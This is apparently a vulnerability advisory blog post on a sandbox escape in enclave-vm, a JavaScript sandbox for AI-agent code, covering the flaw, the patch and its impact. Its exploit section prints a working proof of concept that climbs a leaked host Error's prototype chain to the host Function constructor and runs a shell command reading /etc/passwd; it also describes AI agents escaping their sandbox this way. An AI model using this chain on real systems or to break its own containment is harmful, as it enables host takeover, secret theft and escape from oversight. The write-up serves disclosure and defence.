The Trojan Horse of Errors: Escaping Enclave-VM via Host Prototype Chains
Jan 14, 2026·7 min read
Executive Summary (TL;DR)
If an AI agent or untrusted script running inside `enclave-vm` triggers an error in a host tool, the sandbox previously handed it a raw Host Error object. Attackers can climb this object's prototype chain (`error.__proto__.constructor.constructor`) to get a reference to the Host's `Function` constructor, enabling full Remote Code Execution (RCE) and total system compromise. Fixed in version 2.7.0.
A critical sandbox escape vulnerability in `enclave-vm` allowing malicious code to break out of the JavaScript sandbox by leveraging host-side Error objects. By traversing the prototype chain of an error returned from a failed tool call, attackers can access the host's `Function` constructor and execute arbitrary code on the underlying server.
The Hook: When the Guard Rails Become Ladders
Sandboxing JavaScript is like trying to hold water in a sieve made of sponges. It is notoriously difficult because the language itself is so dynamic and interconnected. enclave-vm was built to solve a modern problem: allowing AI agents to generate and execute code safely. The idea is simple—put the AI in a padded cell so if it writes malicious code, it only hurts itself. But as with all prison breaks, the flaw wasn't in the thickness of the walls; it was in the behavior of the guards.
In this specific case, the vulnerability stems from a classic "act of kindness" by the runtime. When the sandboxed code tries to call an external tool (like a weather API or a database query) and that tool fails, the host runtime needs to tell the sandbox what happened. Most developers would just send a text message: "Hey, that didn't work." But enclave-vm did something much more dangerous: it handed the prisoner the actual smoking gun that caused the failure.
By passing a raw, host-created Error object directly into the sandbox context without sanitization, the developers inadvertently created a bridge between two worlds. This object, seemingly harmless, carried with it the DNA of the host system—specifically, a prototype chain that leads directly back to the native Node.js runtime. For a hacker, this isn't an error message; it's a golden ticket.
The Flaw: A Tale of Two Realms
To understand this bug, you have to understand V8 "Realms" (or Contexts). When you create a sandbox in Node.js (using vm or vm2 or enclave-vm), you are essentially creating a parallel universe. Objects born in the Sandbox Realm belong to the Sandbox. Objects born in the Host Realm belong to the Host. The security model relies entirely on ensuring that Host objects never leak into the Sandbox, because Host objects possess the privileges of the operating system user.
The fatal flaw in enclave-vm versions prior to 2.7.0 was a violation of this boundary during exception handling. When the sandbox invoked a tool via the bridge, and that tool threw an exception, the bridge caught the Host Realm Error object and passed it by reference to the Sandbox Realm.
This is the digital equivalent of a prison guard handing an inmate a set of keys because the inmate complained about the lock being stuck. The inmate (the malicious code) now holds an object (error) that technically lives in the Host world. In JavaScript, every object has a __proto__ property pointing to its creator. By following this lineage, the inmate can walk right out of the cell.
The Code: The Smoking Gun and The Shield
Let's look at the fix, which highlights the severity of the mistake. The patch in version 2.7.0 (Commit ed8bc438...) introduces a massive overhaul to how data crosses the boundary. The most critical change is the introduction of createSafeError.
Before the fix, the code likely looked something like sandbox.throw(hostError). Here is the remediation code that replaced it. Notice the extreme paranoia in how the object is constructed:
export function createSafeError(message: string, name = 'Error'): Error {
// 1. Create a new error (in the current realm context)
const error = new Error(message);
error.name = name;
// 2. CRITICAL: Sever the prototype chain completely
Object.setPrototypeOf(error, null);
// 3. Mock the constructor and proto properties so they go nowhere
const SafeConstructor = Object.create(null);
Object.defineProperties(error, {
'constructor': { value: SafeConstructor, writable: false },
'__proto__': { value: null, writable: false },
'stack': { value: undefined, writable: false }
});
Object.freeze(error);
return error;
}The developers are literally "scorching the earth." They set the prototype to null, ensuring that even if an attacker tries to climb the ladder, the first rung breaks off in their hand. Furthermore, the bridge now defaults to serializing everything to JSON strings before crossing the boundary, ensuring that only data—not object references—is transferred.
The Exploit: Climbing the Ladder
So, how does a researcher weaponize this? We need to trigger an error in the host, catch it in the sandbox, and then perform some prototype gymnastics. The goal is to reach the Host's Function constructor. In JavaScript, the constructor of a constructor is Function. So: ErrorInstance -> ErrorPrototype -> ErrorConstructor -> FunctionConstructor.
Once we have the Host's Function constructor, we can create a new function with arbitrary code (like return process.env) and execute it. Because the constructor belongs to the Host, the resulting function executes in the Host context, bypassing the sandbox entirely.
Here is a simplified version of the "Vector 35" exploit chain used to validate this CVE:
// 1. Trigger the vulnerable code path
try {
// Call a tool that definitely doesn't exist to force the Host to throw an Error
await callTool('NON_EXISTENT_TOOL', {});
} catch (hostError) {
// 2. We have the Host Error object. Time to climb.
// Access the prototype (carefully, in case of obfuscation)
const errorProto = hostError['__proto__'];
// Get the Host's Error Constructor
const errorConstructor = errorProto['constructor'];
// Get the Host's Function Constructor (The Holy Grail)
const HostFunction = errorConstructor['constructor'];
// 3. Execute Arbitrary Code
const maliciousPayload = "return require('child_process').execSync('cat /etc/passwd').toString()";
const exploit = HostFunction(maliciousPayload);
console.log(exploit()); // Prints /etc/passwd contents
}It is elegant, simple, and absolutely devastating. It requires zero memory corruption, no race conditions, just standard JavaScript features used in a way the developers didn't anticipate.
The Impact: God Mode Enabled
This vulnerability is rated CVSS 10.0 for a reason. It is the definition of "Game Over." enclave-vm is designed to run untrusted code—often generated by Large Language Models (LLMs) which are prone to hallucinating or being jailbroken into writing malicious scripts.
If an attacker (or a rogue AI agent) successfully exploits this, they aren't just escaping the sandbox; they are becoming the process owner. They gain:
- File System Access: Read/Write access to the server's disk (config files, SSH keys, source code).
- Network Access: Ability to scan internal networks, connect to databases, or exfiltrate data.
- Environment Variables: Instant access to
process.env, which usually holds AWS keys, database connection strings, and API secrets.
This isn't just a data leak; it's full Remote Code Execution (RCE). If you are running enclave-vm to isolate customer code or AI agents, and you haven't patched, your infrastructure is effectively public property.
The Fix: JSON is the Best Sanitizer
The mitigation is straightforward but requires immediate action. Upgrade to version 2.7.0 or later. The patch changes the default behavior of the "tool bridge" to use JSON serialization.
Why does this work? JSON.stringify() and JSON.parse() are destructive to metadata. When you stringify an object, you strip away its prototype chain, its methods, and its hidden internal slots. You are left with pure, inert data. When that string is parsed back into an object on the other side, it is reborn as a native object of the destination realm, with no links to the past.
For those who cannot upgrade immediately (why?), the only workaround is to ensure that no tools ever throw errors, or to manually wrap every tool execution in a try-catch block that swallows the error and returns a plain string message instead. But seriously, just npm update.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
enclave-vm AgentFront | < 2.7.0 | 2.7.0 |
| Attribute | Detail |
|---|---|
| CWE | CWE-693 (Protection Mechanism Failure) |
| CVSS v3.1 | 10.0 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Attack Vector | Prototype Chain Traversal via Host Object Leak |
| Exploit Status | PoC Available (Vector 35) |
| EPSS Score | 0.00102 |
MITRE ATT&CK Mapping
Protection Mechanism Failure
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.